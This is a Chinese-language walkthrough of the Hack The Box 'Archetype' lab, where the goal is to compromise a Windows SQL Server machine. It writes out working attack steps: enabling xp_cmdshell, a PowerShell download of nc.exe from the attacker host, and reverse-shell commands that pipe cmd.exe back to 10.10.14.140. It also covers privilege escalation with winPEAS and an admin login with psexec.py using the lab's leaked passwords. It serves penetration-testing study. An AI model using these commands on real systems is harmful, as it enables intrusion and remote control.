首页 > 其他分享 >一次HTB_Archetype的详细通关过程

一次HTB_Archetype的详细通关过程

时间:2022-10-18 18:00:18浏览次数:76  
标签:exe HTB cmdshell nc impacket SQL xp Archetype 通关

0x00 前言

最近在打HackTheBox起点,第0层和第1层都是一些比较基础的靶场,没有什么知识盲区

到了第2层的时候第一台机器就是sql server的靶场,打起来有点卡壳,而且这次学到了不少东西所以在这里就记录一下


0x01 进入正题

刚开始如何连接VPN进入到靶场这里就不说了,直接点击开始,创建一个实例

一次HTB_Archetype的详细通关过程 _git

​创建成功


任务1:哪个TCP端口托段数据库服务器?

一次HTB_Archetype的详细通关过程 _sql_02

首先使用Nmap进行扫描

nmap -sV -sC -T4 10.129.151.127

一次HTB_Archetype的详细通关过程 _github_03

很明显1433端口开放了SQL Server 所以任务一的答案是1433


任务2 :SMB上可用的非管理共享名称是什么?

​smbclient -L \\10.129.151.127​​密码直接空密码,回车即可

一次HTB_Archetype的详细通关过程 _github_04

可以看到这里共享了四个目录,非管理共享目录的话就是backups了

所以任务2的答案是backups


任务3:SMB共享文件中标识的密码是什么? 一次HTB_Archetype的详细通关过程 _git_05

我们进行连接backups目录​​smbclient \\\\10.129.151.127\\backups​

然后使用get这个文件下载下来​​get prod.dtsConfig​

再到本地使用cat查看,里面有个Passwordi字段,那就是这个密码了

一次HTB_Archetype的详细通关过程 _sql_06

所以任务3答案是M3g4c0rp123


任务4:可以使用 impacket 中的哪些脚本来建立到 Microsoft SQL Server 的经过身份验证的连接? 一次HTB_Archetype的详细通关过程 _sql_07

这里考察的我们对impacket框架的了解,在impacket中哪个脚本可以连接SQL Server

Gitub.com搜索impacket第一个就是

一次HTB_Archetype的详细通关过程 _sql_08

使用git拉取​​> git clone https://github.com/SecureAuthCorp/impacket.git
> cd impacket
> sudo python3 setup.py install
> pip3 install -r requirements.txt​

安装好依赖之后就可以使用了

一次HTB_Archetype的详细通关过程 _git_09

impacket的脚本都在examples里面,看名字就知道mssql开头的就是

一次HTB_Archetype的详细通关过程 _sql_10

我们这里看一下mssqlclient.py脚本的帮助信息,那就是这个脚本了

所以任务4的答案就是mssqlclient.py


任务5:可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令外壳?

一次HTB_Archetype的详细通关过程 _sql_11

(这里Google浏览器翻译有点问题,大致的意思就是SQL Server可以用哪个拓展来执行Windows shell),SQL Server的xp_cmdshell提权原理这里就不细说了

任务5的答案是xp_cmdshell


任务6:可以使用什么脚本来搜索提升 Windows 主机权限的可能路径?

一次HTB_Archetype的详细通关过程 _github_12

这里win和Linux都有一个很好的提权脚本叫PEAS,Git下载地址:https://github.com/carlospolop/PEASS-ng/releases/tag/20220710

一次HTB_Archetype的详细通关过程 _sql_13

Linux系统叫linpeas,win系统叫winpeas

所以任务6答案是winpeas


任务7:哪个文件包含管理员的密码?

这里就需要我们通过之前xp_cmdshell拿到这台机器的shell

我们使用impacket框架中的mssqlclient.py脚本进行身份验证

lid为ARCHETYPE/sql_svc

l@后面接IP地址

l密码为M3g4c0rp123

这些信息都是我们从smb中的prod.dtsConfig文件中得到的

一次HTB_Archetype的详细通关过程 _github_14

连接进mssql之后就使用xp_cmdshell进行拿shell​​SQL> EXEC xp_cmdshell 'whoami'​​可以看到xp_cmdshell没有激活

一次HTB_Archetype的详细通关过程 _github_15​SQL> SELECT is_srvrolemember('sysadmin');​

 一次HTB_Archetype的详细通关过程 _sql_16

返回为1就代表着对于的权限,我们这里为sysadmin权限,可以使用xp_cmdshell拿shell

sp_configure的作用是显示或更改当前服务器的全局配置设置,执行成功返回0,失败返回1”​​SQL> EXECUTE sp_configure 'show advanced options',1;
SQL> RECONFIGURE;//使前面的配置生效
SQL> EXECUTE sp_configure 'xp_cmdshell',1;//开启CMDshell
SQL> RECONFIGURE;//使前面的配置生效​

执行完这些语句之后我们就可以执行我们的xp_cmdshell​​SQL> xp_cmdshell "whoami"​

一次HTB_Archetype的详细通关过程 _sql_17

当前用户为一个数据库用户,然后使用nc将会话弹回来,方便后面的提权操作,现在桌面使用python起一个http服务

一次HTB_Archetype的详细通关过程 _github_18

再利用xp_cmdshell调用powershell将nc下载到目标机器上​​SQL> xp_cmdshell "powershell.exe wget http://10.10.14.140/nc.exe -O c:\\Users\Public\\nc.exe​

一次HTB_Archetype的详细通关过程 _github_19

看到这边有个get请求之后就是下载成功了,本机使用nc进行监听,目标机器使用nc将cmd反弹到我们机器上​​SQL> xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.140 4444"​

一次HTB_Archetype的详细通关过程 _github_20

因为我这里使用的是新版的Netcat,没有-e参数了

一次HTB_Archetype的详细通关过程 _git_21

这里使用nc串联的方式来弹回shell​​SQL> xp_cmdshell "c:\\Users\Public\\nc.exe 10.10.14.140 4444 | cmd.exe | c:\\Users\Public\\nc.exe 10.10.14.140 3333"​

l在4444端口输入命令,会通过管道符,传输到cmd 解析结果通过管道通过nc传输到3333端口

一次HTB_Archetype的详细通关过程 _sql_22

我们在4444端口输入命令会通过管道符传输到cmd.exe,结果通过nc传输到10.10.14.140 3333端口

一次HTB_Archetype的详细通关过程 _sql_23

一次HTB_Archetype的详细通关过程 _git_24

我们这里找到一个user.txt,但是任务7是让我们寻找包含管理员的密码,我们使用winPEAS进行提权

​https://github.com/carlospolop/PEASS-ng/releases/tag/20220710​

在这个里面下载我们对于系统的程序

一次HTB_Archetype的详细通关过程 _github_25

这里我下载的是winPEAS.bat批处理脚本,因为exe程序的输出东西太多了,Kali终端最上面有一些东西看不到,还是通过上传nc一样的方式进行上传winPEAS.bat(但是这里需要断开nc会话,否则下载不了)

一次HTB_Archetype的详细通关过程 _git_26

成功下载之后我们再连接上nc​​SQL> xp_cmdshell "c:\\Users\Public\\nc.exe 10.10.14.140 4444 | cmd.exe | c:\\Users\Public\\nc.exe 10.10.14.140 3333"​

一次HTB_Archetype的详细通关过程 _github_27

cd到我们下载的目录

一次HTB_Archetype的详细通关过程 _git_28

直接.\winPEAS.bat执行即可,他会自己执行各个功能 我们只需要等待即可

一次HTB_Archetype的详细通关过程 _git_29

等待片刻之后扫描到一个console history file

一次HTB_Archetype的详细通关过程 _github_30

我们使用type查看

一次HTB_Archetype的详细通关过程 _sql_31

是一个历史命令,administrator用户登录后将共享文件夹\Archetype\backups映射到T盘,后面是用户名的密码

那么任务7的答案就是ConsoleHost_history.txt文件中包含管理员的密码


任务8:提交user flag

一次HTB_Archetype的详细通关过程 _sql_32

用户标志也就是我们之前在sql_svc桌面找到的user.txt

一次HTB_Archetype的详细通关过程 _github_33

任务9:提交root flag

我们需要使用administrator登录到机器上查看administrator的桌面,这里使用impacket框架中的psexec.py脚本

一次HTB_Archetype的详细通关过程 _sql_34

​python3 psexec.py [email protected]

​管理员的密码为MEGACORP_4dm1n!!

一次HTB_Archetype的详细通关过程 _github_35

成功拿到system权限

一次HTB_Archetype的详细通关过程 _sql_36

直接查看Administrator桌面的root.txt 成功拿到root flag

标签:exe,HTB,cmdshell,nc,impacket,SQL,xp,Archetype,通关
From: https://blog.51cto.com/xunansec/5767941

相关文章

  • Eclipse插件开发MavenArchetype
    介绍用过Maven的童鞋,可能会听说过archetype(骨架)。而在Eclipse中利用m2e插件提供的骨架来新建Maven工程的话,是需要手动来配置的。而如果每次手动添加骨架会很麻烦,如果能像Ecl......
  • 通关数据结构 day_07 -- trie
    Trie基本用法&作用快速地存储和查找字符串集合的数据结构我们在使用trie的过程中,我们使用的字符串一定是都是大写/小写,并且长度不长比分说我们有字符串:abcdefabd......
  • 通关数据结构 day_06 -- KMP
    KMP原理失败了退一步,再尝试假设我们有一个字符串暴力枚举法假设S[N]是原串,P[M]是模式串for(inti=1;i<=n;i++){ boolflag=true; for(intj=1;j<=m;......
  • 通关数据结构 day_05 -- 单调队列
    单调队列经典应用:滑动窗口里的最大值/最小值举例假设有序列:13-1-35367第一次滑动窗口是 【1 3 -1】最小值是-1第二次滑动窗口是 【3 -1 -3】最小值是-3以......
  • DVWA File Upload level high 通关
    由于level是high1.代码审计<?phpif(isset($_POST['Upload'])){//Wherearewegoingtobewritingto?$target_path=DVWA_WEB_PAGE_TO_ROOT.......
  • 通关基本算法 day_10 -- 区间合并
    区间合并给我们很多很多区间,这两个区间有交集,我们合并成一个区间例如[1,9]和[3,13]可以合并为[1,13]原理按所有区间的左端点排序扫描整个区间,把所有可能有交点......
  • 通关基本算法 day_09 -- 离散化
    离散化原理假如我们有一对数值范围是0-109但是个数比较少,只有比如105的数字,我们需要以这些值位下标来做所以我们需要这个序列映射到从0开始的连续的自然数比......
  • 8、HTB - Nibbles Writeup
    一、信息搜集使用namp扫描machine:nmap-sV-Pn-vv 10.10.10.75 主机开了80和22端口,老习惯,有web界面先打开web看看  只有一个Helloworld,看到下面有个注释,有个nib......
  • 通关基本算法 day_08 -- 位运算
    求整数n二进制表示里,第k位数字是几?$$n=15=(1111)_2$$先把第k位移到最后一位n>>k看个位是几x&1总结:n>>k&1例子例如输出10的二进制表达#includ......
  • 通关基本算法 day_06 -- 差分
    差分原理差分是前缀和的逆运算给定一个长度为n的a数组,构造一个b数组,使得:$$a_i=b_1+b_2+b_3+...+b_i\b_1=a_1\b_2=a_2-a_1\b_n=a_n-a_{n-1}$$b就称为a的......